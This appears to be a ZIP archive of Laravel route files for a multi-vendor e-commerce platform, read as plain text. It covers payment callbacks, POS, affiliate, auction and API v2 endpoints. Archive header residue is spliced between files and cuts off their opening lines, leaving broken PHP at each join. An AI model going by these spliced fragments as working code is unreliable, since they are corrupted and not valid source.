'checkout_return')->name('payfast.checkout.return'); Route::any('/payfast/checkout/cancel', 'checkout_cancel')->name('payfast.checkout.cancel'); Route::any('/payfast/order_re_payment/notify', 'order_re_payment_notify')->name('payfast.order_re_payment.notify'); Route::any('/payfast/order_re_payment/return', 'order_re_payment_return')->name('payfast.order_re_payment.return'); Route::any('/payfast/order_re_payment/cancel', 'order_re_payment_cancel')->name('payfast.order_re_payment.cancel'); Route::any('/payfast/wallet/notify', 'wallet_notify')->name('payfast.wallet.notify'); Route::any('/payfast/wallet/return', 'wallet_return')->name('payfast.wallet.return'); Route::any('/payfast/wallet/cancel', 'wallet_cancel')->name('payfast.wallet.cancel'); Route::any('/payfast/seller_package_payment/notify', 'seller_package_notify')->name('payfast.seller_package_payment.notify'); Route::any('/payfast/seller_package_payment/return', 'seller_package_payment_return')->name('payfast.seller_package_payment.return'); Route::any('/payfast/seller_package_payment/cancel', 'seller_package_payment_cancel')->name('payfast.seller_package_payment.cancel'); Route::any('/payfast/customer_package_payment/notify', 'customer_package_notify')->name('payfast.customer_package_payment.notify'); Route::any('/payfast/customer_package_payment/return', 'customer_package_return')->name('payfast.customer_package_payment.return'); Route::any('/payfast/customer_package_payment/cancel', 'customer_package_cancel')->name('payfast.customer_package_payment.cancel'); }); //Payfast routes PKrk])pos.phpnu[group(function () { }); //Admin Route::group(['prefix' => 'admin', 'middleware' => ['auth', 'admin']], function () { //pos Route::controller(PosController::class)->group(function () { Route::get('/pos', 'index')->name('poin-of-sales.index'); Route::get('/pos/products', 'search')->name('pos.search_product'); Route::post('/add-to-cart-pos', 'addToCart')->name('pos.addToCart'); Route::post('/update-quantity-cart-pos', 'updateQuantity')->name('pos.updateQuantity'); Route::post('/remove-from-cart-pos', 'removeFromCart')->name('pos.removeFromCart'); Route::post('/update-session-user-cart-data', 'updateSessionUserCartData')->name('pos.updateSessionUserCartData'); Route::post('/get_shipping_address', 'getShippingAddress')->name('pos.getShippingAddress'); Route::post('/setDiscount', 'setDiscount')->name('pos.setDiscount'); Route::post('/setShipping', 'setShipping')->name('pos.setShipping'); Route::post('/set-shipping-address', 'set_shipping_address')->name('pos.set-shipping-address'); Route::post('/pos-order-summary', 'get_order_summary')->name('pos.getOrderSummary'); Route::post('/pos-order', 'order_store')->name('pos.order_place'); Route::get('/pos-activation', 'configuration')->name('poin-of-sales.activation'); Route::get('/pos/thermal-printer/{order_id}', 'invoice')->name('admin.invoice.thermal_printer'); }); }); //Seller Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified']], function () { Route::controller(SellerPosController::class)->group(function () { Route::get('/pos', 'index')->name('poin-of-sales.seller_index'); Route::get('/pos/products', 'search')->name('pos.search_seller_product'); Route::post('/add-to-cart-pos', 'addToCart')->name('seller.pos.addToCart'); Route::post('/update-quantity-cart-pos', 'updateQuantity')->name('seller.pos.updateQuantity'); Route::post('/remove-from-cart-pos', 'removeFromCart')->name('seller.pos.removeFromCart'); Route::post('/update-session-user-cart-data', 'updateSessionUserCartData')->name('seller.pos.updateSessionUserCartData'); Route::post('/get_shipping_address', 'getShippingAddress')->name('seller.pos.getShippingAddress'); Route::post('/setDiscount', 'setDiscount')->name('seller.pos.setDiscount'); Route::post('/setShipping', 'setShipping')->name('seller.pos.setShipping'); Route::post('/set-shipping-address', 'set_shipping_address')->name('seller.pos.set-shipping-address'); Route::post('/pos-order-summary', 'get_order_summary')->name('seller.pos.getOrderSummary'); Route::post('/pos-order', 'order_store')->name('seller.pos.order_place'); Route::get('/pos-configuration', 'configuration')->name('pos.configuration'); Route::post('/pos-configuration/update', 'posConfigurationUpdate')->name('pos_configuration.update'); Route::get('/pos/thermal-printer/{order_id}', 'invoice')->name('seller.invoice.thermal_printer'); }); }); PKrk]m affiliate.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate', 'index')->name('affiliate.index'); Route::post('/affiliate/affiliate_option_store', 'affiliate_option_store')->name('affiliate.store'); Route::get('/affiliate/configs', 'configs')->name('affiliate.configs'); Route::post('/affiliate/configs/store', 'config_store')->name('affiliate.configs.store'); Route::get('/affiliate/users', 'users')->name('affiliate.users'); Route::get('/affiliate/verification/{id}', 'show_verification_request')->name('affiliate_users.show_verification_request'); Route::get('/affiliate/approve/{id}', 'approve_user')->name('affiliate_user.approve'); Route::get('/affiliate/reject/{id}', 'reject_user')->name('affiliate_user.reject'); Route::post('/affiliate/approved', 'updateApproved')->name('affiliate_user.approved'); Route::post('/affiliate/payment_modal', 'payment_modal')->name('affiliate_user.payment_modal'); Route::post('/affiliate/pay/store', 'payment_store')->name('affiliate_user.payment_store'); Route::get('/affiliate/payments/show/{id}', 'payment_history')->name('affiliate_user.payment_history'); Route::get('/refferal/users', 'refferal_users')->name('refferals.users'); // Affiliate Withdraw Request Route::get('/affiliate/withdraw_requests', 'affiliate_withdraw_requests')->name('affiliate.withdraw_requests'); Route::post('/affiliate/affiliate_withdraw_modal', 'affiliate_withdraw_modal')->name('affiliate_withdraw_modal'); Route::post('/affiliate/withdraw_request/payment_store', 'withdraw_request_payment_store')->name('withdraw_request.payment_store'); Route::get('/affiliate/withdraw_request/reject/{id}', 'reject_withdraw_request')->name('affiliate.withdraw_request.reject'); Route::get('/affiliate/logs', 'affiliate_logs_admin')->name('affiliate.logs.admin'); }); }); //FrontEnd Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate', 'apply_for_affiliate')->name('affiliate.apply'); Route::post('/affiliate/store', 'store_affiliate_user')->name('affiliate.store_affiliate_user'); }); Route::group(['middleware' => ['auth']], function(){ Route::controller(AffiliateController::class)->group(function () { Route::get('/affiliate/user', 'user_index')->name('affiliate.user.index'); Route::get('/affiliate/user/payment_history', 'user_payment_history')->name('affiliate.user.payment_history'); Route::get('/affiliate/user/withdraw_request_history', 'user_withdraw_request_history')->name('affiliate.user.withdraw_request_history'); Route::get('/affiliate/payment/settings', 'payment_settings')->name('affiliate.payment_settings'); Route::post('/affiliate/payment/settings/store', 'payment_settings_store')->name('affiliate.payment_settings_store'); // Affiliate Withdraw Request Route::post('/affiliate/withdraw_request/store', 'withdraw_request_store')->name('affiliate.withdraw_request.store'); }); }); PKrk]KTm auction.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ // Auction product lists Route::controller(AuctionProductController::class)->group(function () { Route::get('auction/all-products', 'all_auction_product_list')->name('auction.all_products'); Route::get('auction/inhouse-products', 'inhouse_auction_products')->name('auction.inhouse_products'); Route::get('auction/seller-products', 'seller_auction_products')->name('auction.seller_products'); Route::get('/auction-product/create', 'product_create_admin')->name('auction_product_create.admin'); Route::post('/auction-product/store', 'product_store_admin')->name('auction_product_store.admin'); Route::get('/auction_products/edit/{id}', 'product_edit_admin')->name('auction_product_edit.admin'); Route::post('/auction_products/update/{id}', 'product_update_admin')->name('auction_product_update.admin'); Route::get('/auction_products/destroy/{id}', 'product_destroy_admin')->name('auction_product_destroy.admin'); // Sales Route::get('/auction_products-orders', 'admin_auction_product_orders')->name('auction_products_orders'); }); Route::controller(AuctionProductBidController::class)->group(function () { Route::get('/product-bids/{id}', 'product_bids_admin')->name('product_bids.admin'); Route::get('/product-bids/destroy/{id}', 'bid_destroy_admin')->name('product_bids_destroy.admin'); }); }); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user']], function() { Route::controller(AuctionProductController::class)->group(function () { Route::get('/auction_products', 'auction_product_list_seller')->name('auction_products.seller.index'); Route::get('/auction-product/create', 'product_create_seller')->name('auction_product_create.seller'); Route::post('/auction-product/store', 'product_store_seller')->name('auction_product_store.seller'); Route::get('/auction_products/edit/{id}', 'product_edit_seller')->name('auction_product_edit.seller'); Route::post('/auction_products/update/{id}', 'product_update_seller')->name('auction_product_update.seller'); Route::get('/auction_products/destroy/{id}', 'product_destroy_seller')->name('auction_product_destroy.seller'); Route::get('/auction_products-orders', 'seller_auction_product_orders')->name('auction_products_orders.seller'); }); Route::controller(AuctionProductBidController::class)->group(function () { Route::get('/product-bids/{id}', 'product_bids_seller')->name('product_bids.seller'); Route::get('/product-bids/destroy/{id}', 'bid_destroy_seller')->name('product_bids_destroy.seller'); }); }); Route::group(['middleware' => ['auth']], function() { Route::resource('auction_product_bids', AuctionProductBidController::class); Route::post('/auction/cart/show-cart-modal', [CartController::class, 'showCartModalAuction'])->name('auction.cart.showCartModal'); Route::get('/auction/purchase_history', [AuctionProductController::class, 'purchase_history_user'])->name('auction_product.purchase_history'); }); Route::post('/home/section/auction_products', [HomeController::class, 'load_auction_products_section'])->name('home.section.auction_products'); Route::controller(AuctionProductController::class)->group(function () { Route::get('/auction-product/{slug}', 'auction_product_details')->name('auction-product'); Route::get('/auction-products', 'all_auction_products')->name('auction_products.all'); }); PKrk]`LqLqapi.phpnu[ 'v2/auth', 'middleware' => ['app_language']], function () { Route::post('info', [AuthController::class, 'getUserInfoByAccessToken']); Route::controller(AuthController::class)->group(function () { Route::post('login', 'login'); Route::post('signup', 'signup'); Route::post('social-login', 'socialLogin'); }); Route::middleware('auth:sanctum')->group(function () { Route::controller(AuthController::class)->group(function () { Route::get('logout', 'logout'); Route::get('user', 'user'); Route::get('account-deletion', 'account_deletion'); Route::get('resend_code', 'resendCode'); Route::post('confirm_code', 'confirmCode'); }); }); Route::controller(PasswordResetController::class)->group(function () { Route::post('password/forget_request', 'forgetRequest'); Route::post('password/confirm_reset', 'confirmReset'); Route::post('password/resend_code', 'resendCode'); }); }); Route::group(['prefix' => 'v2', 'middleware' => ['app_language']], function () { //auth controller Route::post('guest-user-account-create', [AuthController::class, 'guestUserAccountCreate']); // auction products routes Route::controller(AuctionProductController::class)->group(function () { Route::get('auction/products', 'index'); Route::get('auction/products/{slug}', 'details_auction_product'); Route::get('auction/bided-products', 'bided_products_list')->middleware('auth:sanctum'); Route::get('auction/purchase-history', 'user_purchase_history')->middleware('auth:sanctum'); }); Route::post('auction/place-bid', [AuctionProductBidController::class, 'store'])->middleware('auth:sanctum'); Route::prefix('delivery-boy')->group(function () { Route::controller(DeliveryBoyController::class)->group(function () { Route::get('earning/{id}', 'earning')->middleware('auth:sanctum'); Route::get('collection/{id}', 'collection')->middleware('auth:sanctum'); Route::get('cancel-request/{id}', 'cancel_request')->middleware('auth:sanctum'); Route::get('earning-summary/{id}', 'earning_summary')->middleware('auth:sanctum'); Route::get('dashboard-summary/{id}', 'dashboard_summary')->middleware('auth:sanctum'); Route::get('collection-summary/{id}', 'collection_summary')->middleware('auth:sanctum'); Route::get('deliveries/assigned/{id}', 'assigned_delivery')->middleware('auth:sanctum'); Route::get('deliveries/completed/{id}', 'completed_delivery')->middleware('auth:sanctum'); Route::get('deliveries/cancelled/{id}', 'cancelled_delivery')->middleware('auth:sanctum'); Route::get('deliveries/picked_up/{id}', 'picked_up_delivery')->middleware('auth:sanctum'); Route::post('change-delivery-status', 'change_delivery_status')->middleware('auth:sanctum'); Route::get('deliveries/on_the_way/{id}', 'on_the_way_delivery')->middleware('auth:sanctum'); //Delivery Boy Order Route::get('purchase-history-details/{id}',[DeliveryBoyController::class, 'details'])->middleware('auth:sanctum'); Route::get('purchase-history-items/{id}', [DeliveryBoyController::class, 'items'])->middleware('auth:sanctum'); }); }); Route::apiResource('carts', CartController::class)->only('destroy'); Route::controller(CartController::class)->group(function () { Route::post('cart-summary', 'summary'); Route::post('cart-count', 'count'); Route::post('carts/process', 'process'); Route::post('carts/add', 'add'); Route::post('carts/change-quantity', 'changeQuantity'); Route::post('carts', 'getList'); Route::post('guest-customer-info-check', 'guestCustomerInfoCheck'); Route::post('updateCartStatus', 'updateCartStatus'); }); Route::controller(CheckoutController::class)->group(function () { Route::post('coupon-apply', 'apply_coupon_code'); Route::post('coupon-remove', 'remove_coupon_code'); }); Route::controller(CouponController::class)->group(function () { Route::get('coupon-list', 'couponList'); Route::get('coupon-products/{id}', 'getCouponProducts'); }); Route::controller(ShippingController::class)->group(function () { Route::post('delivery-info', 'getDeliveryInfo'); Route::post('shipping_cost', 'shipping_cost'); }); Route::post('carriers', [CarrierController::class, 'index']); Route::controller(AddressController::class)->group(function () { Route::post('update-address-in-cart', 'updateAddressInCart'); Route::post('update-shipping-type-in-cart', 'updateShippingTypeInCart'); }); Route::get('payment-types', [PaymentTypesController::class, 'getList']); // un banned users Route::group(['middleware' => ['app_user_unbanned']], function () { // customer downloadable product list Route::get('/digital/purchased-list', 'App\Http\Controllers\Api\V2\PurchaseHistoryController@digital_purchased_list')->middleware('auth:sanctum'); Route::get('/purchased-products/download/{id}', 'App\Http\Controllers\Api\V2\DigitalProductController@download')->middleware('auth:sanctum'); Route::get('wallet/history', [WalletController::class, 'walletRechargeHistory'])->middleware('auth:sanctum'); Route::controller(ChatController::class)->group(function () { Route::get('chat/conversations', 'conversations')->middleware('auth:sanctum'); Route::get('chat/messages/{id}', 'messages')->middleware('auth:sanctum'); Route::post('chat/insert-message', 'insert_message')->middleware('auth:sanctum'); Route::get('chat/get-new-messages/{conversation_id}/{last_message_id}', 'get_new_messages')->middleware('auth:sanctum'); Route::post('chat/create-conversation', 'create_conversation')->middleware('auth:sanctum'); }); Route::controller(PurchaseHistoryController::class)->group(function () { Route::get('purchase-history', 'index')->middleware('auth:sanctum'); Route::get('purchase-history-details/{id}', 'details')->middleware('auth:sanctum'); Route::get('purchase-history-items/{id}', 'items')->middleware('auth:sanctum'); Route::get('re-order/{id}', 're_order')->middleware('auth:sanctum'); }); Route::get('invoice/download/{id}', [InvoiceController::class, 'invoice_download'])->middleware('auth:sanctum'); Route::prefix('classified')->group(function () { Route::controller(CustomerProductController::class)->group(function () { Route::get('/own-products', 'ownProducts')->middleware('auth:sanctum'); Route::post('/store', 'store')->middleware('auth:sanctum'); Route::post('/update/{id}', 'update')->middleware('auth:sanctum'); Route::delete('/delete/{id}', 'delete')->middleware('auth:sanctum'); Route::post('/change-status/{id}', 'changeStatus')->middleware('auth:sanctum'); }); }); Route::get('customer/info', 'App\Http\Controllers\Api\V2\CustomerController@show')->middleware('auth:sanctum'); Route::get('get-home-delivery-address', [AddressController::class, 'getShippingInCart'])->middleware('auth:sanctum'); // review Route::post('reviews/submit', [ReviewController::class, 'submit'])->name('api.reviews.submit')->middleware('auth:sanctum'); Route::get('shop/user/{id}', [ShopController::class, 'shopOfUser'])->middleware('auth:sanctum'); //Follow Route::controller(FollowSellerController::class)->group(function () { Route::get('/followed-seller', 'index')->middleware('auth:sanctum'); Route::get('/followed-seller/store/{id}', 'store')->middleware('auth:sanctum'); Route::get('/followed-seller/remove/{shopId}', 'remove')->middleware('auth:sanctum'); Route::get('/followed-seller/check/{shopId}', 'checkFollow')->middleware('auth:sanctum'); }); // Wishlist Route::controller(WishlistController::class)->middleware('auth:sanctum')->group(function () { Route::get('wishlists-check-product/{product_slug}', 'isProductInWishlist'); Route::get('wishlists-add-product/{product_slug}', 'add'); Route::get('wishlists-remove-product/{product_slug}', 'remove'); Route::get('wishlists', 'index'); }); // addresses Route::controller(AddressController::class)->middleware('auth:sanctum')->group(function () { Route::get('user/shipping/address', 'addresses'); Route::post('user/shipping/create', 'createShippingAddress'); Route::post('user/shipping/update', 'updateShippingAddress'); Route::post('user/shipping/update-location', 'updateShippingAddressLocation'); Route::post('user/shipping/make_default', 'makeShippingAddressDefault'); Route::get('user/shipping/delete/{address_id}', 'deleteShippingAddress'); }); Route::get('clubpoint/get-list', 'App\Http\Controllers\Api\V2\ClubpointController@get_list')->middleware('auth:sanctum'); Route::post('clubpoint/convert-into-wallet', 'App\Http\Controllers\Api\V2\ClubpointController@convert_into_wallet')->middleware('auth:sanctum'); Route::get('refund-request/get-list', 'App\Http\Controllers\Api\V2\RefundRequestController@get_list')->middleware('auth:sanctum'); Route::post('refund-request/send', 'App\Http\Controllers\Api\V2\RefundRequestController@send')->middleware('auth:sanctum'); Route::get('bkash/begin', 'App\Http\Controllers\Api\V2\BkashController@begin')->middleware('auth:sanctum'); Route::get('nagad/begin', 'App\Http\Controllers\Api\V2\NagadController@begin')->middleware('auth:sanctum'); Route::post('payments/pay/wallet', 'App\Http\Controllers\Api\V2\WalletController@processPayment')->middleware('auth:sanctum'); Route::post('payments/pay/cod', 'App\Http\Controllers\Api\V2\PaymentController@cashOnDelivery')->middleware('auth:sanctum'); Route::post('payments/pay/manual', 'App\Http\Controllers\Api\V2\PaymentController@manualPayment')->middleware('auth:sanctum'); Route::post('order/store', [OrderController::class, 'store'])->middleware('auth:sanctum'); Route::get('order/cancel/{id}', 'App\Http\Controllers\Api\V2\OrderController@order_cancel')->middleware('auth:sanctum'); Route::get('profile/counters', 'App\Http\Controllers\Api\V2\ProfileController@counters')->middleware('auth:sanctum'); Route::post('profile/update', 'App\Http\Controllers\Api\V2\ProfileController@update')->middleware('auth:sanctum'); Route::post('profile/update-device-token', 'App\Http\Controllers\Api\V2\ProfileController@update_device_token')->middleware('auth:sanctum'); Route::post('profile/update-image', 'App\Http\Controllers\Api\V2\ProfileController@updateImage')->middleware('auth:sanctum'); Route::post('profile/image-upload', 'App\Http\Controllers\Api\V2\ProfileController@imageUpload')->middleware('auth:sanctum'); Route::post('profile/check-phone-and-email', 'App\Http\Controllers\Api\V2\ProfileController@checkIfPhoneAndEmailAvailable')->middleware('auth:sanctum'); Route::post('file/image-upload', 'App\Http\Controllers\Api\V2\FileController@imageUpload')->middleware('auth:sanctum'); Route::get('file-all', 'App\Http\Controllers\Api\V2\FileController@index')->middleware('auth:sanctum'); Route::post('file/upload', 'App\Http\Controllers\Api\V2\AizUploadController@upload')->middleware('auth:sanctum'); Route::get('wallet/balance', [WalletController::class, 'balance'])->middleware('auth:sanctum'); Route::post('wallet/offline-recharge', [WalletController::class, 'offline_recharge'])->middleware('auth:sanctum'); Route::controller(CustomerPackageController::class)->group(function () { Route::post('offline/packages-payment', 'purchase_package_offline')->middleware('auth:sanctum'); Route::post('free/packages-payment', 'purchase_package_free')->middleware('auth:sanctum'); }); // Notification Route::controller(NotificationController::class)->group(function () { Route::get('all-notification', 'allNotification')->middleware('auth:sanctum'); Route::get('unread-notifications', 'unreadNotifications')->middleware('auth:sanctum'); Route::post('notifications/bulk-delete', 'bulkDelete')->middleware('auth:sanctum'); Route::get('notifications/mark-as-read', 'notificationMarkAsRead')->middleware('auth:sanctum'); }); Route::get('products/last-viewed',[ProductController::class, 'lastViewedProducts'])->middleware('auth:sanctum'); }); //end user bann Route::controller(OnlinePaymentController::class)->group(function () { Route::get('online-pay/init', 'init')->middleware('auth:sanctum'); Route::get('online-pay/success', 'paymentSuccess'); Route::get('online-pay/done', 'paymentDone'); Route::get('online-pay/failed', 'paymentFailed'); }); Route::get('get-search-suggestions',[SearchSuggestionController::class, 'getList'] ); Route::get('languages',[LanguageController::class, 'getList']); Route::controller(CustomerProductController::class)->group(function () { Route::get('classified/all', 'all'); Route::get('classified/related-products/{slug}', 'relatedProducts'); Route::get('classified/product-details/{slug}', 'productDetails'); }); Route::get('seller/top', 'App\Http\Controllers\Api\V2\SellerController@topSellers'); Route::apiResource('banners', 'App\Http\Controllers\Api\V2\BannerController')->only('index'); Route::get('brands/top', 'App\Http\Controllers\Api\V2\BrandController@top'); Route::get('all-brands', [ProductController::class, 'getBrands'])->name('allBrands'); Route::apiResource('brands', 'App\Http\Controllers\Api\V2\BrandController')->only('index'); Route::apiResource('business-settings', 'App\Http\Controllers\Api\V2\BusinessSettingController')->only('index'); Route::get('category/info/{slug}', 'App\Http\Controllers\Api\V2\CategoryController@info'); Route::get('categories/featured', 'App\Http\Controllers\Api\V2\CategoryController@featured'); Route::get('categories/home', 'App\Http\Controllers\Api\V2\CategoryController@home'); Route::get('categories/top', 'App\Http\Controllers\Api\V2\CategoryController@top'); Route::apiResource('categories', 'App\Http\Controllers\Api\V2\CategoryController')->only('index'); Route::get('sub-categories/{id}', 'App\Http\Controllers\Api\V2\SubCategoryController@index')->name('subCategories.index'); Route::apiResource('colors', 'App\Http\Controllers\Api\V2\ColorController')->only('index'); Route::apiResource('currencies', 'App\Http\Controllers\Api\V2\CurrencyController')->only('index'); Route::apiResource('customers', 'App\Http\Controllers\Api\V2\CustomerController')->only('show'); Route::apiResource('general-settings', 'App\Http\Controllers\Api\V2\GeneralSettingController')->only('index'); Route::apiResource('home-categories', 'App\Http\Controllers\Api\V2\HomeCategoryController')->only('index'); Route::get('filter/categories', 'App\Http\Controllers\Api\V2\FilterController@categories'); Route::get('filter/brands', 'App\Http\Controllers\Api\V2\FilterController@brands'); Route::get('products/inhouse', 'App\Http\Controllers\Api\V2\ProductController@inhouse'); Route::get('products/seller/{id}', 'App\Http\Controllers\Api\V2\ProductController@seller'); Route::get('products/category/{slug}', 'App\Http\Controllers\Api\V2\ProductController@categoryProducts')->name('api.products.category'); Route::get('products/sub-category/{id}', 'App\Http\Controllers\Api\V2\ProductController@subCategory')->name('products.subCategory'); Route::get('products/sub-sub-category/{id}', 'App\Http\Controllers\Api\V2\ProductController@subSubCategory')->name('products.subSubCategory'); Route::get('products/brand/{slug}', 'App\Http\Controllers\Api\V2\ProductController@brand')->name('api.products.brand'); Route::get('products/todays-deal', 'App\Http\Controllers\Api\V2\ProductController@todaysDeal'); Route::get('products/featured', 'App\Http\Controllers\Api\V2\ProductController@featured'); Route::get('products/best-seller', 'App\Http\Controllers\Api\V2\ProductController@bestSeller'); Route::get('products/top-from-seller/{slug}', 'App\Http\Controllers\Api\V2\ProductController@topFromSeller'); Route::get('products/frequently-bought/{slug}', 'App\Http\Controllers\Api\V2\ProductController@frequentlyBought')->name('products.frequently_bought'); Route::get('products/featured-from-seller/{id}', 'App\Http\Controllers\Api\V2\ProductController@newFromSeller')->name('products.featuredromSeller'); Route::get('products/search', 'App\Http\Controllers\Api\V2\ProductController@search'); Route::post('products/variant/price', 'App\Http\Controllers\Api\V2\ProductController@getPrice'); Route::get('products/digital', 'App\Http\Controllers\Api\V2\ProductController@digital')->name('products.digital'); Route::apiResource('products', 'App\Http\Controllers\Api\V2\ProductController')->except(['store', 'update', 'destroy']); Route::get('products/{slug}/{user_id}', 'App\Http\Controllers\Api\V2\ProductController@product_details'); //Use this route outside of auth because initialy we created outside of auth we do not need auth initialy //We can't change it now because we didn't send token in header from mobile app. //We need the upload update Flutter app then we will write it in auth middleware. Route::controller(CustomerPackageController::class)->group(function () { Route::get("customer-packages", "customer_packages_list"); }); Route::get('reviews/product/{id}', 'App\Http\Controllers\Api\V2\ReviewController@index')->name('api.reviews.index'); Route::get('shops/details/{id}', 'App\Http\Controllers\Api\V2\ShopController@info')->name('shops.info'); Route::get('shops/products/all/{id}', 'App\Http\Controllers\Api\V2\ShopController@allProducts')->name('shops.allProducts'); Route::get('shops/products/top/{id}', 'App\Http\Controllers\Api\V2\ShopController@topSellingProducts')->name('shops.topSellingProducts'); Route::get('shops/products/featured/{id}', 'App\Http\Controllers\Api\V2\ShopController@featuredProducts')->name('shops.featuredProducts'); Route::get('shops/products/new/{id}', 'App\Http\Controllers\Api\V2\ShopController@newProducts')->name('shops.newProducts'); Route::get('shops/brands/{id}', 'App\Http\Controllers\Api\V2\ShopController@brands')->name('shops.brands'); Route::apiResource('shops', 'App\Http\Controllers\Api\V2\ShopController')->only('index'); Route::get('sliders', 'App\Http\Controllers\Api\V2\SliderController@sliders'); Route::get('banners-one', 'App\Http\Controllers\Api\V2\SliderController@bannerOne'); Route::get('banners-two', 'App\Http\Controllers\Api\V2\SliderController@bannerTwo'); Route::get('banners-three', 'App\Http\Controllers\Api\V2\SliderController@bannerThree'); Route::get('policies/seller', 'App\Http\Controllers\Api\V2\PolicyController@sellerPolicy')->name('policies.seller'); Route::get('policies/support', 'App\Http\Controllers\Api\V2\PolicyController@supportPolicy')->name('policies.support'); Route::get('policies/return', 'App\Http\Controllers\Api\V2\PolicyController@returnPolicy')->name('policies.return'); Route::post('get-user-by-access_token', 'App\Http\Controllers\Api\V2\UserController@getUserInfoByAccessToken'); Route::get('cities', 'App\Http\Controllers\Api\V2\AddressController@getCities'); Route::get('states', 'App\Http\Controllers\Api\V2\AddressController@getStates'); Route::get('countries', 'App\Http\Controllers\Api\V2\AddressController@getCountries'); Route::get('cities-by-state/{state_id}', 'App\Http\Controllers\Api\V2\AddressController@getCitiesByState'); Route::get('states-by-country/{country_id}', 'App\Http\Controllers\Api\V2\AddressController@getStatesByCountry'); // Route::post('coupon/apply', 'App\Http\Controllers\Api\V2\CouponController@apply')->middleware('auth:sanctum'); Route::any('stripe', 'App\Http\Controllers\Api\V2\StripeController@stripe'); Route::any('stripe/payment/callback', 'App\Http\Controllers\Api\V2\StripeController@callback')->name('api.stripe.callback'); Route::any('paypal/payment/url', 'App\Http\Controllers\Api\V2\PaypalController@getUrl')->name('api.paypal.url'); Route::any('amarpay', [AamarpayController::class, 'pay'])->name('api.amarpay.url'); Route::any('khalti/payment/pay', 'App\Http\Controllers\Api\V2\KhaltiController@pay')->name('api.khalti.url'); Route::any('razorpay/pay-with-razorpay', 'App\Http\Controllers\Api\V2\RazorpayController@payWithRazorpay')->name('api.razorpay.payment'); Route::any('razorpay/payment', 'App\Http\Controllers\Api\V2\RazorpayController@payment')->name('api.razorpay.payment'); Route::any('paystack/init', 'App\Http\Controllers\Api\V2\PaystackController@init')->name('api.paystack.init'); Route::any('iyzico/init', 'App\Http\Controllers\Api\V2\IyzicoController@init')->name('api.iyzico.init'); Route::get('bkash/api/webpage/{token}/{amount}', 'App\Http\Controllers\Api\V2\BkashController@webpage')->name('api.bkash.webpage'); Route::any('bkash/api/execute/{token}', 'App\Http\Controllers\Api\V2\BkashController@execute')->name('api.bkash.execute'); Route::any('bkash/api/fail', 'App\Http\Controllers\Api\V2\BkashController@fail')->name('api.bkash.fail'); Route::post('bkash/api/process', 'App\Http\Controllers\Api\V2\BkashController@process')->name('api.bkash.process'); Route::any('nagad/verify/{payment_type}', 'App\Http\Controllers\Api\V2\NagadController@verify')->name('app.nagad.callback_url'); Route::post('nagad/process', 'App\Http\Controllers\Api\V2\NagadController@process'); Route::get('sslcommerz/begin', 'App\Http\Controllers\Api\V2\SslCommerzController@begin'); Route::any('flutterwave/payment/url', 'App\Http\Controllers\Api\V2\FlutterwaveController@getUrl')->name('api.flutterwave.url'); Route::any('paytm/payment/pay', 'App\Http\Controllers\Api\V2\PaytmController@pay')->name('api.paytm.pay'); Route::get('instamojo/pay', 'App\Http\Controllers\Api\V2\InstamojoController@pay'); Route::get('payfast/initiate', 'App\Http\Controllers\Api\V2\PayfastController@pay'); Route::get('/myfatoorah/initiate', 'App\Http\Controllers\Api\V2\MyfatoorahController@pay'); Route::get('phonepe/payment/pay', 'App\Http\Controllers\Api\V2\PhonepeController@pay'); Route::post('offline/payment/submit', 'App\Http\Controllers\Api\V2\OfflinePaymentController@submit')->name('api.offline.payment.submit'); Route::get('flash-deals', 'App\Http\Controllers\Api\V2\FlashDealController@index'); Route::get('flash-deals/info/{slug}', 'App\Http\Controllers\Api\V2\FlashDealController@info'); Route::get('flash-deal-products/{id}', 'App\Http\Controllers\Api\V2\FlashDealController@products'); //Addon list Route::get('addon-list', 'App\Http\Controllers\Api\V2\ConfigController@addon_list'); //Activated social login list Route::get('activated-social-login', 'App\Http\Controllers\Api\V2\ConfigController@activated_social_login'); //Business Sttings list Route::post('business-settings', 'App\Http\Controllers\Api\V2\ConfigController@business_settings'); //Pickup Point list Route::get('pickup-list', 'App\Http\Controllers\Api\V2\ShippingController@pickup_list'); Route::withoutMiddleware([EnsureSystemKey::class])->group(function () { Route::get('google-recaptcha', function () { return view("frontend.google_recaptcha.app_recaptcha"); }); Route::any('paypal/payment/done', 'App\Http\Controllers\Api\V2\PaypalController@getDone')->name('api.paypal.done'); Route::any('paypal/payment/cancel', 'App\Http\Controllers\Api\V2\PaypalController@getCancel')->name('api.paypal.cancel'); Route::any('amarpay/success', [AamarpayController::class, 'success'])->name('api.amarpay.success'); Route::any('amarpay/cancel', [AamarpayController::class, 'fail'])->name('api.amarpay.cancel'); Route::any('khalti/payment/success', 'App\Http\Controllers\Api\V2\KhaltiController@paymentDone')->name('api.khalti.success'); Route::any('khalti/payment/cancel', 'App\Http\Controllers\Api\V2\KhaltiController@getCancel')->name('api.khalti.cancel'); Route::any('razorpay/success', 'App\Http\Controllers\Api\V2\RazorpayController@payment_success')->name('api.razorpay.success'); Route::post('paystack/success', 'App\Http\Controllers\Api\V2\PaystackController@payment_success')->name('api.paystack.success'); Route::any('iyzico/callback', 'App\Http\Controllers\Api\V2\IyzicoController@callback')->name('api.iyzico.callback'); Route::post('iyzico/success', 'App\Http\Controllers\Api\V2\IyzicoController@payment_success')->name('api.iyzico.success'); Route::any('bkash/api/callback', 'App\Http\Controllers\Api\V2\BkashController@callback')->name('api.bkash.callback'); Route::post('bkash/api/success', 'App\Http\Controllers\Api\V2\BkashController@payment_success')->name('api.bkash.success'); Route::any('bkash/api/checkout/{token}/{amount}', 'App\Http\Controllers\Api\V2\BkashController@checkout')->name('api.bkash.checkout'); Route::any('stripe/create-checkout-session', 'App\Http\Controllers\Api\V2\StripeController@create_checkout_session')->name('api.stripe.get_token'); Route::get('stripe/success', 'App\Http\Controllers\Api\V2\StripeController@payment_success'); Route::any('stripe/cancel', 'App\Http\Controllers\Api\V2\StripeController@cancel')->name('api.stripe.cancel'); Route::any('sslcommerz/success', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_success'); Route::any('sslcommerz/fail', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_fail'); Route::any('sslcommerz/cancel', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_cancel'); Route::any('flutterwave/payment/callback', 'App\Http\Controllers\Api\V2\FlutterwaveController@callback')->name('api.flutterwave.callback'); Route::any('paytm/payment/callback', 